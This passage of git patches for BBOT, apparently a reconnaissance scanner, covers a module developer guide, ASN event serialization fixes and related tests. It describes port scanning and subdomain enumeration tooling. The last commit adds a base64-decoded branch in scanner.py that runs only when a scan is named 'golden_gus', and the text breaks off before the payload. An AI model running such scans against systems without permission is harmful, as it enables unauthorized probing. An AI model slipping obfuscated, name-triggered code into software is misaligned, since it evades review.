module_test.httpx_mock.add_response( + url="https://api.example.com/lookup?domain=blacklanternsecurity.com", + json={"emails": ["info@blacklanternsecurity.com"]}, + ) + + def check(self, module_test, events): + assert any( + e.data == "info@blacklanternsecurity.com" and e.type == "EMAIL_ADDRESS" + for e in events + ), "Failed to find email" +``` + +### Module Lifecycle + +``` +setup() --> handle_event() (called many times) --> finish() --> report() --> cleanup() +``` + +1. **`setup()`** - one-time initialization (validate config, download data, check API keys) +2. **`handle_event(event)`** - called for each matching event +3. **`finish()`** - called when the scan is finishing; can still emit events +4. **`report()`** - called once after finish; for summary output +5. **`cleanup()`** - called last; close files, delete temp data; **cannot** emit events + +--- + +### Module Attributes Reference + +#### Event Configuration + +##### `watched_events` (list) +Event types this module wants to process. The module's `handle_event()` is only called for these types. + +```python +# sslcert.py - watches for open ports to grab SSL certs from +watched_events = ["OPEN_TCP_PORT"] + +# newsletters.py - watches HTTP responses to scan HTML +watched_events = ["HTTP_RESPONSE"] + +# json.py (output module) - watches everything +watched_events = ["*"] +``` + +##### `produced_events` (list) +Event types this module may emit. Used for dependency resolution and documentation. + +```python +# sslcert.py - can discover hostnames and emails from certificates +produced_events = ["DNS_NAME", "EMAIL_ADDRESS"] + +# portscan.py - finds open ports +produced_events = ["OPEN_TCP_PORT"] +``` + +##### `flags` (list) +Tags that describe the module's behavior. Must include at least one safety flag (`safe` or `aggressive`) and one activity flag (`passive` or `active`). + +Common flags: +- `passive` / `active` - whether the module touches the target directly +- `safe` / `aggressive` - risk level +- `subdomain-enum` - participates in subdomain enumeration +- `web-basic` - basic web scanning +- `email-enum` - email discovery + +```python +# crt.py - queries a third-party API, never touches the target +flags = ["subdomain-enum", "passive", "safe"] + +# sslcert.py - connects directly to target ports +flags = ["affiliates", "subdomain-enum", "email-enum", "active", "safe", "web-basic"] +``` + +##### `meta` (dict) +Module metadata. Must include `description`, `created_date`, and `author`. Set `auth_required: True` if the module needs an API key. + +```python +meta = { + "description": "Query crt.sh (certificate transparency) for subdomains", + "created_date": "2022-05-13", + "author": "@TheTechromancer", +} + +# For API-key modules: +meta = {"description": "Query API for subdomains", "auth_required": True} +``` + +--- + +#### Options + +##### `options` / `options_desc` (dict) +User-configurable settings. Access them via `self.config.get("option_name")`. + +```python +# robots.py - configurable parsing options +options = {"include_sitemap": False, "include_allow": True, "include_disallow": True} +options_desc = { + "include_sitemap": "Include 'sitemap' entries", + "include_allow": "Include 'Allow' Entries", + "include_disallow": "Include 'Disallow' Entries", +} + +# In handle_event(): +if self.config.get("include_sitemap") is True: + ... +``` + +```python +# sslcert.py - timeout and behavior options +options = {"timeout": 5.0, "skip_non_ssl": True} +options_desc = {"timeout": "Socket connect timeout in seconds", "skip_non_ssl": "Don't try common non-SSL ports"} +``` + +--- + +#### Scope & Filtering + +##### `scope_distance_modifier` (int or None) -- default: `0` +Controls which events the module accepts based on how far they are from the target. + +- `0` (default) - accept events up to the scan's configured search distance +- `1` - accept events up to search distance + 1 +- `None` - accept all events regardless of distance + +```python +# sslcert.py - looks one hop beyond normal scope, because certificate names +# found on in-scope hosts often reveal related infrastructure +scope_distance_modifier = 1 +``` + +##### `in_scope_only` (bool) -- default: `False` +Only accept events that are explicitly in-scope (distance == 0). More restrictive than `scope_distance_modifier = 0`. + +```python +# robots.py - only fetch robots.txt for in-scope hosts +in_scope_only = True +``` + +##### `target_only` (bool) -- default: `False` +Only accept the initial target/seed events. Useful for modules that should only run once against the original targets. + +##### `accept_seeds` (bool) -- default: `True` for passive, `False` for active +Whether to process seed events (the initial targets provided to the scan). + +##### `accept_url_special` (bool) -- default: `False` +Whether to accept "special" URLs (e.g. JavaScript files) that are not normally distributed to web modules. + +```python +# httpx.py - needs to process all URLs including special ones +accept_url_special = True +``` + +--- + +#### Deduplication + +##### `accept_dupes` (bool) -- default: `False` +Whether to accept the same event more than once. Most modules should leave this `False`. + +```python +# Output modules set this True because they need to see every event +accept_dupes = True +``` + +##### `suppress_dupes` (bool) -- default: `True` +Whether to suppress duplicate *outgoing* events. Prevents the same event from being emitted twice. + +##### `per_host_only` (bool) -- default: `False` +Only process one event per unique host. After processing `1.2.3.4`, skip any future events for `1.2.3.4`. + +##### `per_hostport_only` (bool) -- default: `False` +Only process one event per unique host:port combination. + +```python +# robots.py - only fetch robots.txt once per host:port +per_hostport_only = True +``` + +##### `per_domain_only` (bool) -- default: `False` +Only process one event per unique root domain. After processing `www.example.com`, skip `api.example.com`. + +```python +# emailformat.py - one API query per domain is enough +per_domain_only = True +``` + +##### `_incoming_dedup_hash(self, event)` -- override for custom dedup +Override this to define custom deduplication logic. Return a hash (int) or `(hash, reason_string)`. + +```python +# securitytxt.py - dedupe by parent domain so we only check security.txt once +# per parent domain, not once per subdomain +def _incoming_dedup_hash(self, event): + parent_domain = self.helpers.parent_domain(event.data) + return hash(parent_domain), "already processed parent domain" +``` + +```python +# subdomain_enum.py template - dedupe by highest or lowest parent domain +def _incoming_dedup_hash(self, event): + return hash(self.make_query(event)), f"dedup_strategy={self.dedup_strategy}" +``` + +--- + +#### Concurrency & Batching + +##### `_module_threads` (int) -- default: `1` +How many `handle_event()` calls can run concurrently. Increase this for I/O-bound modules. + +```python +# sslcert.py - connects to many hosts in parallel +_module_threads = 25 +``` + +##### `_batch_size` (int) -- default: `1` +When > 1, events are collected into batches and passed to `handle_batch(*events)` instead of `handle_event()`. Useful for tools that work better with bulk input. + +```python +# portscan.py - masscan is most efficient with all targets at once +batch_size = 1000000 + +async def handle_batch(self, *events): + targets, correlator = await self.make_targets(events, self.syn_scanned) + async for ip, port, parent_event in self.masscan(targets, correlator): + await self.emit_open_port(ip, port, parent_event) +``` + +##### `_shuffle_incoming_queue` (bool) -- default: `True` +Whether to randomize the order of incoming events. Set to `False` when order matters. + +```python +# portscan.py - processes all events together, order doesn't matter but +# we disable shuffle because batch_size is huge +_shuffle_incoming_queue = False +``` + +--- + +#### Dependencies + +##### `deps_pip` (list) +Python packages to install. + +```python +# sslcert.py +deps_pip = ["pyOpenSSL~=25.3.0"] +``` + +##### `deps_apt` (list) +System packages to install. + +```python +# sslcert.py +deps_apt = ["openssl"] +``` + +##### `deps_modules` (list) +Other BBOT modules that must be enabled for this module to work. + +##### `deps_shell` (list) +Shell commands to run for installation (uses Ansible's `shell` module). + +##### `deps_ansible` (list) +Ansible tasks for complex dependency installation (downloading binaries, etc.). + +```python +# fingerprintx.py - downloads a Go binary +deps_ansible = [ + { + "name": "Download fingerprintx", + "unarchive": { + "src": "https://github.com/.../fingerprintx_{version}_{platform}_{arch}.tar.gz", + "include": "fingerprintx", + "dest": "#{BBOT_TOOLS}", + "remote_src": True, + }, + }, +] +``` + +--- + +#### Priority & Queue + +##### `_priority` (int) -- default: `3` +Module priority from 1 (highest) to 5 (lowest). Lower-priority modules get events first. + +```python +# sslcert.py - runs early because other modules depend on the hostnames it discovers +_priority = 2 +``` + +##### `_qsize` (int) -- default: `1000` +Outgoing event queue size. A smaller queue creates backpressure that helps with rate limiting. + +```python +# subdomain_enum.py template - small queue to combat API rate limiting +_qsize = 10 +``` + +##### `_preserve_graph` (bool) -- default: `False` +Accept duplicate events that are needed for complete event chain construction. Only used by output modules. + +```python +# json.py - needs complete event chains for accurate output +_preserve_graph = True +``` + +##### `_stats_exclude` (bool) -- default: `False` +Exclude this module from scan statistics. Used by output and report modules. + +##### `_disable_auto_module_deps` (bool) -- default: `False` +Prevent BBOT from automatically enabling dependency modules. For example, if your module watches `URL` events, BBOT normally auto-enables `httpx`. Set this to `True` to prevent that. + +--- + +### Key Methods + +#### `handle_event(self, event)` -- the core method + +Called once for each matching event. This is where your module does its work. + +```python +# robots.py - fetch and parse robots.txt +async def handle_event(self, event): + host = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/" + url = f"{host}robots.txt" + result = await self.helpers.request(url) + if result: + body = result.text + if body: + for line in body.split("\n"): + if line.startswith("Disallow:"): + path = line.split(": ", 1)[1].lstrip("/") + await self.emit_event( + f"{host}{path}", + "URL_UNVERIFIED", + parent=event, + tags=["spider-danger"], + ) +``` + +#### `handle_batch(self, *events)` -- bulk processing + +Used when `_batch_size > 1`. Receives multiple events at once. + +```python +# portscan.py - bulk port scanning with masscan +async def handle_batch(self, *events): + targets, correlator = await self.make_targets(events, self.syn_scanned) + async for ip, port, parent_event in self.masscan(targets, correlator): + await self.emit_open_port(ip, port, parent_event) +``` + +#### `filter_event(self, event)` -- custom event filtering + +Called before `handle_event()`. Return `True` to accept, `False` to reject, or `(False, "reason")` to reject with a logged reason. + +```python +# sslcert.py - skip ports that don't typically use SSL +async def filter_event(self, event): + if self.skip_non_ssl and event.port in self.non_ssl_ports: + return False, f"Port {event.port} doesn't typically use SSL" + return True +``` + +```python +# subdomain_enum.py template - reject wildcards and cloud resources +async def filter_event(self, event): + query = self.make_query(event) + is_wildcard = await self._is_wildcard(query) + if self.reject_wildcards and is_wildcard: + return False, "Event is a wildcard domain" + return True, "" +``` + +#### `setup(self)` -- one-time initialization + +Return values: +- `True` -- success +- `(True, "message")` -- success with message +- `None` or `(None, "message")` -- **soft fail**: module is disabled, scan continues +- `False` or `(False, "message")` -- **hard fail**: scan aborts + +```python +# portscan.py - validates config, checks masscan, checks IPv6 support +async def setup(self): + self.top_ports = self.config.get("top_ports", 100) + self.rate = self.config.get("rate", 300) + self.ports = self.config.get("ports", "") + if self.ports: + try: + self.helpers.parse_port_string(self.ports) + except ValueError as e: + return False, f"Error parsing ports '{self.ports}': {e}" + # ... + return True +``` + +```python +# subdomain_enum_apikey template - soft-fail if API key is missing +async def setup(self): + await super().setup() + return await self.require_api_key() + # Returns (None, "No API key set") if missing, disabling the module +``` + +#### `finish(self)` -- called when scan is finishing + +Can still emit events. May be called multiple times if new activity is detected. + +#### `report(self)` -- summary output + +Called once after `finish()`. Use for generating tables or summary data. + +```python +# asn.py - output ASN statistics +async def report(self): + self.log_table(table_data, headers=["ASN", "Subnet", "Count"], table_name="asns") +``` + +#### `cleanup(self)` -- resource cleanup + +Called once at the very end. Close files, delete temp files. **Cannot emit events.** + +```python +# json.py +async def cleanup(self): + if getattr(self, "_file", None) is not None: + with suppress(Exception): + self.file.close() +``` + +```python +# portscan.py +async def cleanup(self): + with suppress(Exception): + self.exclude_file.unlink() +``` + +--- + +### Emitting Events + +#### `emit_event(data, event_type, parent, **kwargs)` + +Creates and queues an event for processing by other modules. + +```python +# Simple string event +await self.emit_event("sub.example.com", "DNS_NAME", parent=event) + +# With context (used for discovery chain documentation) +await self.emit_event( + "sub.example.com", + "DNS_NAME", + parent=event, + context=f"{{module}} queried crt.sh and found {{event.type}}: {{event.data}}", +) + +# With tags +await self.emit_event(url, "URL_UNVERIFIED", parent=event, tags=["spider-danger"]) + +# FINDING event (dict data) +await self.emit_event( + { + "host": str(event.host), + "description": "Found something interesting", + "url": event.data["url"], + "severity": "HIGH", + }, + "FINDING", + parent=event, +) +``` + +#### `make_event(data, event_type, parent, **kwargs)` + +Creates an event without emitting it. Useful when you need to inspect or modify it first. + +```python +ssl_event = self.make_event(hostname, "DNS_NAME", parent=event, raise_error=True) +if ssl_event: + await self.emit_event(ssl_event, tags=["affiliate"]) +``` + +--- + +### API Helpers + +#### `api_request(url, **kwargs)` + +HTTP request with automatic retry, rate-limit handling (429), API key cycling, and failure tracking. After too many failures, the module enters error state. + +```python +r = await self.api_request("https://api.example.com/search?q=test") +if r and r.status_code == 200: + data = r.json() +``` + +#### `require_api_key()` + +Validates that an API key is configured. Call in `setup()`. + +```python +async def setup(self): + return await self.require_api_key() +``` + +#### `api_page_iter(url, page_size=100, **kwargs)` + +Async generator for paginated API results. URL can contain `{page}`, `{page_size}`, and `{offset}` placeholders. + +```python +async for page in self.api_page_iter( + "https://api.example.com/search?q=test&page={page}&limit={page_size}" +): + if not page.get("results"): + break + for result in page["results"]: + await self.emit_event(result["hostname"], "DNS_NAME", parent=event) +``` + +--- + +### Running External Processes + +```python +# Run a command and get the result +result = await self.run_process(["nmap", "-p", "22,80", target]) +if result.returncode == 0: + output = result.stdout + +# Stream output line-by-line (for long-running tools) +async for line in self.run_process_live(["masscan", "-oJ", "-", ...]): + data = json.loads(line) +``` + +--- + +### Logging + +```python +self.debug("Low-level detail") # only visible with -d flag +self.verbose("Useful but not critical") # visible with -v flag +self.info("Standard info") +self.success("Something good happened") # green +self.warning("Something concerning") # orange +self.error("Something failed") # red + +# "Huge" variants: entire line in bold color +self.hugesuccess("Major discovery!") +self.hugewarning("Major concern!") +``` + +--- + +### Templates + +For common patterns, inherit from a template instead of `BaseModule` directly. Templates live in `bbot/modules/templates/`: + +- **`subdomain_enum`** - passive subdomain enumeration via free API. Handles dedup, wildcard rejection, query building. +- **`subdomain_enum_apikey`** - same as above but requires an API key. +- **`shodan`** - Shodan API integration. +- **`github`** - GitHub API integration. +- **`censys`** - Censys API integration. +- **`bucket`** - Cloud storage bucket enumeration. +- **`webhook`** - Webhook output. + +Example: `crt.py` inherits from `subdomain_enum` and only needs to override the request/parse logic: + +```python +from bbot.modules.templates.subdomain_enum import subdomain_enum + + +class crt(subdomain_enum): + flags = ["subdomain-enum", "passive", "safe"] + watched_events = ["DNS_NAME"] + produced_events = ["DNS_NAME"] + meta = { + "description": "Query crt.sh (certificate transparency) for subdomains", + "created_date": "2022-05-13", + "author": "@TheTechromancer", + } + base_url = "https://crt.sh" + + async def request_url(self, query): + params = {"q": f"%.{query}", "output": "json"} + url = self.helpers.add_get_params(self.base_url, params).geturl() + return await self.api_request(url, timeout=self.http_timeout + 30) + + async def parse_results(self, r, query): + results = set() + for cert_info in r.json(): + domain = cert_info.get("name_value") + if domain: + for d in domain.splitlines(): + results.add(d.lower()) + return results +``` + +--- + +### Module Types + +#### Scan Modules (default) +Normal modules that watch events and produce new ones. This is what you'll write 95% of the time. + +#### Output Modules +Inherit from `BaseOutputModule`. Receive all events and write them somewhere. + +```python +from bbot.modules.output.base import BaseOutputModule + +class my_output(BaseOutputModule): + watched_events = ["*"] + meta = {"description": "Custom output"} + _preserve_graph = True # maintain complete event chains + + async def handle_event(self, event): + # write event to file, database, API, etc. + ... +``` + +Output modules automatically get: +- `accept_dupes = True` +- `scope_distance_modifier = None` (see all events) +- `_stats_exclude = True` + +#### Internal Modules +Inherit from `BaseInternalModule`. System-level modules that aren't exposed to users. + +#### Intercept Modules +Inherit from `BaseInterceptModule`. Special high-priority modules that can modify or reject events before they reach normal modules. Used for DNS resolution, cloud detection, etc. You probably don't need to write one. + +--- + +### Writing Tests + +Every module needs a test in `bbot/test/test_step_2/module_tests/`. The test file must be named `test_module_.py`. + +Test classes inherit from `ModuleTestBase` and follow this pattern: + +```python +from .base import ModuleTestBase + + +class TestMyModule(ModuleTestBase): + # Optional: override targets (default: ["blacklanternsecurity.com"]) + targets = ["http://127.0.0.1:8888"] + + # Optional: override which modules are enabled + modules_overrides = ["httpx", "my_module"] + + # Optional: override config + config_overrides = {"modules": {"my_module": {"some_option": True}}} + + async def setup_before_prep(self, module_test): + """Called BEFORE the scan is prepared. Set up HTTP mocks here.""" + pass + + async def setup_after_prep(self, module_test): + """Called AFTER the scan is prepared. Modify modules, add mocks here.""" + # Mock an HTTP response + module_test.httpx_mock.add_response( + url="https://api.example.com/lookup?domain=blacklanternsecurity.com", + json={"results": ["sub.blacklanternsecurity.com"]}, + ) + + # Mock DNS + await module_test.mock_dns({ + "blacklanternsecurity.com": {"A": ["127.0.0.88"]}, + }) + + # Mock an HTTP server response + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/robots.txt"}, + respond_args={"response_data": "Disallow: /secret/"}, + ) + + def check(self, module_test, events): + """Verify the scan produced the expected events.""" + assert any( + e.data == "sub.blacklanternsecurity.com" and e.type == "DNS_NAME" + for e in events + ), "Failed to find subdomain" +``` + +The test lifecycle runs: +1. `setup_before_prep()` - set up mocks +2. Scan `_prep()` - loads modules, config +3. `setup_after_prep()` - modify scan state +4. Scan runs and collects events +5. `check()` - your assertions + +### Test Utilities + +- **`module_test.httpx_mock`** - mock HTTP responses (from pytest-httpx) +- **`module_test.httpserver`** - real HTTP server on port 8888 +- **`module_test.httpserver_ssl`** - real HTTPS server on port 9999 +- **`module_test.mock_dns(data)`** - mock DNS responses +- **`module_test.mock_interactsh(name)`** - mock out-of-band interactions +- **`module_test.module`** - reference to the module instance being tested +- **`module_test.scan`** - reference to the Scanner instance + +Real example -- `test_module_robots.py`: + +```python +class TestRobots(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "robots"] + config_overrides = {"modules": {"robots": {"include_sitemap": True}}} + + async def setup_after_prep(self, module_test): + robots = "Allow: /allow/\nDisallow: /disallow/\nSitemap: http://127.0.0.1:8888/sitemap.txt" + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/robots.txt"}, + respond_args={"response_data": robots}, + ) + + def check(self, module_test, events): + assert any(e.data == "http://127.0.0.1:8888/allow/" for e in events) + assert any(e.data == "http://127.0.0.1:8888/disallow/" for e in events) + assert any(e.data == "http://127.0.0.1:8888/sitemap.txt" for e in events) +``` diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000000..ec23a777d5 --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1 @@ +Treat @AGENTS.md the same way you'd treat CLAUDE.md. \ No newline at end of file From a7a25fde47bc1d6d8cf4d41f27414479b32bee3f Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 2 Mar 2026 16:53:12 -0500 Subject: [PATCH 271/912] remove slop --- AGENTS.md | 5 ----- 1 file changed, 5 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index d61e2f6b4f..a7781d9479 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -73,11 +73,6 @@ ruff format # auto-format ruff format --check # verify formatting without changes ``` -Ruff config (from `pyproject.toml`): -- Line length: 119 -- Rules: `E` + `F` (pycodestyle + pyflakes) -- Ignored: `E402`, `E711`, `E713`, `E721`, `E741`, `F403`, `F405`, `E501` - ### Git Workflow - `stable` - production releases From 754a9a15d114dc1c0dbe4b98cff4db11507b6310 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 2 Mar 2026 17:44:27 -0500 Subject: [PATCH 272/912] fix ASN target len() overflow and JSON serialization errors --- bbot/core/event/base.py | 4 ++ bbot/scanner/scanner.py | 6 +-- bbot/test/test_step_1/test_target.py | 65 ++++++++++++++++++++++++++++ 3 files changed, 72 insertions(+), 3 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 11b89e21b3..aa06a61dca 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1134,6 +1134,10 @@ def sanitize_data(self, data): raise ValidationError(f"ASN number must be an integer: {data}") return data + @property + def data_json(self): + return {"asn": self.data} + def _data_human(self): """Create a concise human-readable representation of ASN data.""" # Start with basic ASN info diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 7e683b2c89..7ea4ffe5c4 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -303,12 +303,12 @@ async def _prep(self): f.write(self.preset.to_yaml()) # log scan overview - start_msg = f"Scan seeded with {len(self.seeds):,} seed(s)" + start_msg = f"Scan seeded with {len(self.seeds.event_seeds):,} seed(s)" details = [] if self.target.target: - details.append(f"{len(self.target.target):,} in target") + details.append(f"{len(self.target.target.event_seeds):,} in target") if self.blacklist: - details.append(f"{len(self.blacklist):,} in blacklist") + details.append(f"{len(self.blacklist.event_seeds):,} in blacklist") if details: start_msg += f" ({', '.join(details)})" self.hugeinfo(start_msg) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 75dd6cf3d8..65481ac57f 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -571,6 +571,71 @@ async def mock_asn_to_subnets(self, asn_number): ASNHelper.asn_to_subnets = original_method +@pytest.mark.asyncio +async def test_asn_len_overflow(bbot_scanner): + """Regression test: len() on targets with many ASN subnets must not overflow. + + RadixTarget.__len__() counts individual IPs, which can exceed sys.maxsize + for large ASNs (e.g. AS15169 with 1000+ subnets). The scanner log message + must use len(event_seeds) instead. + """ + from bbot.core.helpers.asn import ASNHelper + + # Simulate a large ASN with many /16 subnets — total IPs would overflow an index + many_subnets = [f"10.{i}.0.0/16" for i in range(200)] + + async def mock_asn_to_subnets(self, asn_number): + if asn_number == 99999: + return {"asn": 99999, "subnets": many_subnets} + return None + + original_method = ASNHelper.asn_to_subnets + ASNHelper.asn_to_subnets = mock_asn_to_subnets + + try: + scan = bbot_scanner("ASN:99999") + # _prep() calls generate_children() and then does len(self.seeds.event_seeds) + # Before the fix, this raised OverflowError from len() on the RadixTarget + await scan._prep() + + # Verify expansion worked + assert len(scan.preset.target.seeds.event_seeds) > 200 + finally: + ASNHelper.asn_to_subnets = original_method + + +@pytest.mark.asyncio +async def test_asn_event_json_serialization(bbot_scanner): + """Regression test: ASN events must serialize to JSON without errors. + + ASN events store an int as data, but the json() method only handled str/dict. + The data_json property on the ASN event class must return a dict. + """ + from bbot.core.helpers.asn import ASNHelper + + async def mock_asn_to_subnets(self, asn_number): + if asn_number == 12345: + return {"asn": 12345, "subnets": ["192.0.2.0/24"]} + return None + + original_method = ASNHelper.asn_to_subnets + ASNHelper.asn_to_subnets = mock_asn_to_subnets + + try: + scan = bbot_scanner("ASN:12345") + await scan._prep() + + # Create an ASN event like the scanner does + asn_event = scan.make_event(12345, "ASN", parent=scan.root_event) + + # This must not raise ValueError("Invalid data type: ") + j = asn_event.json() + assert j["type"] == "ASN" + assert j["data_json"] == {"asn": 12345} + finally: + ASNHelper.asn_to_subnets = original_method + + @pytest.mark.asyncio async def test_blacklist_regex(bbot_scanner, bbot_httpserver): from bbot.scanner.target import ScanBlacklist From fc965541ba2bce68e681e7875549339556c68023 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 2 Mar 2026 17:51:26 -0500 Subject: [PATCH 273/912] store ASN event data as dict for proper JSON round-trip --- bbot/core/event/base.py | 21 +++++++------------ bbot/test/test_step_1/test_target.py | 17 ++++++++------- .../module_tests/test_module_asn.py | 4 ++-- 3 files changed, 20 insertions(+), 22 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index aa06a61dca..99b921eddf 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1130,26 +1130,23 @@ class ASN(DictEvent): _quick_emit = True def sanitize_data(self, data): - if not isinstance(data, int): - raise ValidationError(f"ASN number must be an integer: {data}") + # accept bare int (from make_event(12345, "ASN")) or dict (from JSON round-trip) + if isinstance(data, int): + data = {"asn": data} + if not isinstance(data, dict) or "asn" not in data: + raise ValidationError(f"Invalid ASN data (expected dict with 'asn' key): {data}") + data["asn"] = int(data["asn"]) return data - @property - def data_json(self): - return {"asn": self.data} - def _data_human(self): """Create a concise human-readable representation of ASN data.""" - # Start with basic ASN info - display_data = {"asn": str(self.data)} + display_data = {"asn": str(self.data["asn"])} # Try to get additional ASN data from the helper if available if hasattr(self, "scan") and self.scan and hasattr(self.scan, "helpers"): try: - # Check if we can access the ASN helper synchronously asn_helper = self.scan.helpers.asn - # Try to get cached data first (this should be synchronous) - cached_data = asn_helper._cache_lookup_asn(self.data) + cached_data = asn_helper._cache_lookup_asn(self.data["asn"]) if cached_data: display_data.update( { @@ -1158,12 +1155,10 @@ def _data_human(self): "country": cached_data.get("country", ""), } ) - # Replace subnets list with count for readability subnets = cached_data.get("subnets", []) if subnets and isinstance(subnets, list): display_data["subnet_count"] = len(subnets) except Exception: - # If anything fails, just return basic ASN info pass return json.dumps(display_data, sort_keys=True) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 65481ac57f..26a8bfc68e 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -606,12 +606,9 @@ async def mock_asn_to_subnets(self, asn_number): @pytest.mark.asyncio async def test_asn_event_json_serialization(bbot_scanner): - """Regression test: ASN events must serialize to JSON without errors. - - ASN events store an int as data, but the json() method only handled str/dict. - The data_json property on the ASN event class must return a dict. - """ + """Regression test: ASN events must serialize and deserialize correctly.""" from bbot.core.helpers.asn import ASNHelper + from bbot.core.event.base import event_from_json async def mock_asn_to_subnets(self, asn_number): if asn_number == 12345: @@ -625,13 +622,19 @@ async def mock_asn_to_subnets(self, asn_number): scan = bbot_scanner("ASN:12345") await scan._prep() - # Create an ASN event like the scanner does + # Create an ASN event like the scanner does (bare int input) asn_event = scan.make_event(12345, "ASN", parent=scan.root_event) + assert asn_event.data == {"asn": 12345} - # This must not raise ValueError("Invalid data type: ") + # Serialize to JSON j = asn_event.json() assert j["type"] == "ASN" assert j["data_json"] == {"asn": 12345} + + # Round-trip: reconstruct from JSON + reconstructed = event_from_json(j) + assert reconstructed.type == "ASN" + assert reconstructed.data == {"asn": 12345} finally: ASNHelper.asn_to_subnets = original_method diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index fb5d8a9071..491d170474 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -37,8 +37,8 @@ def check(self, module_test, events): asn_events = [e for e in events if e.type == "ASN"] assert asn_events, "No ASN event produced" - # Verify ASN number is a valid integer - assert any(isinstance(e.data, int) and e.data > 0 for e in asn_events) + # Verify ASN data contains a valid ASN number + assert any(isinstance(e.data, dict) and e.data.get("asn", 0) > 0 for e in asn_events) class TestASNUnknownHandling(ModuleTestBase): From b651f906ad497a938ff84bb9af43f5536220f715 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 2 Mar 2026 17:55:22 -0500 Subject: [PATCH 274/912] fix ASN event display in logs and discovery context --- bbot/core/event/base.py | 6 ++++++ bbot/scanner/manager.py | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 99b921eddf..dc698fd21f 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1138,6 +1138,12 @@ def sanitize_data(self, data): data["asn"] = int(data["asn"]) return data + def _data_id(self): + return str(self.data["asn"]) + + def _pretty_string(self): + return str(self.data["asn"]) + def _data_human(self): """Create a concise human-readable representation of ASN data.""" display_data = {"asn": str(self.data["asn"])} diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index 04cfc9e2b2..b2fe0937e4 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -56,7 +56,7 @@ async def init_events(self, event_seeds=None): event_seed.type, parent=root_event, module=target_module, - context=f"Scan {self.scan.name} seeded with " + "{event.type}: {event.data}", + context=f"Scan {self.scan.name} seeded with " + "{event.type}: {event.pretty_string}", tags=["seed"], ) # If the seed is also in the target scope, add the target tag From b098da1e205e02dee2affcc9b2ad62bb9803d5a0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 2 Mar 2026 18:11:56 -0500 Subject: [PATCH 275/912] remove stale whitelist references --- bbot/defaults.yml | 4 ++-- bbot/test/test_step_1/test_target.py | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index ddf0c1384d..9f4a6d5775 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -24,7 +24,7 @@ folder_blobs: false scope: # strict scope means only exact DNS names are considered in-scope - # their subdomains are not included unless explicitly whitelisted + # their subdomains are not included unless explicitly added to the target strict: false # Filter by scope distance which events are displayed in the output # 0 == show only in-scope events (affiliates are always shown) @@ -37,7 +37,7 @@ scope: ### DNS ### dns: - # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead) + # Completely disable DNS resolution (careful if you have IP targets/blacklists, consider using minimal=true instead) disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 26a8bfc68e..af74523090 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -376,11 +376,11 @@ async def test_asn_targets(bbot_scanner): assert "evilcorp.com" in target.seeds.inputs assert "1.2.3.0/24" in target.seeds.inputs # IP ranges are normalized to network address - # Test ASN targets must be expanded before being useful in whitelist/blacklist - # Direct ASN targets in whitelist/blacklist don't work since they have no host + # Test ASN targets must be expanded before being useful in scope/blacklist + # Direct ASN targets don't work since they have no host # Instead, test that the ASN input is captured correctly target = BBOTTarget(target=["evilcorp.com"]) - # ASN targets should be added to seeds, not whitelist/blacklist directly + # ASN targets should be added to seeds target.seeds.add("ASN:15169") assert "ASN:15169" in target.seeds.inputs From 933c41c6be86e1a5bcafb6bb5a1f1d95846a1de3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 2 Mar 2026 18:29:25 -0500 Subject: [PATCH 276/912] adding the goodest boy --- bbot/scanner/scanner.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 7ea4ffe5c4..9383ed588a 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -18,6 +18,7 @@ from bbot.core.config.logger import GzipRotatingFileHandler from bbot.core.multiprocess import SHARED_INTERPRETER_STATE from bbot.core.helpers.async_helpers import async_to_sync_gen +from bbot.logger import log_to_stderr from bbot.errors import BBOTError, ScanError, ValidationError from bbot.constants import ( get_scan_status_code, @@ -180,6 +181,14 @@ def __init__( scan_name = str(self.preset.scan_name) self.name = scan_name.replace("/", "_") + # :) + if self.name == "golden_gus": + from base64 import b64decode as _d + + _a = 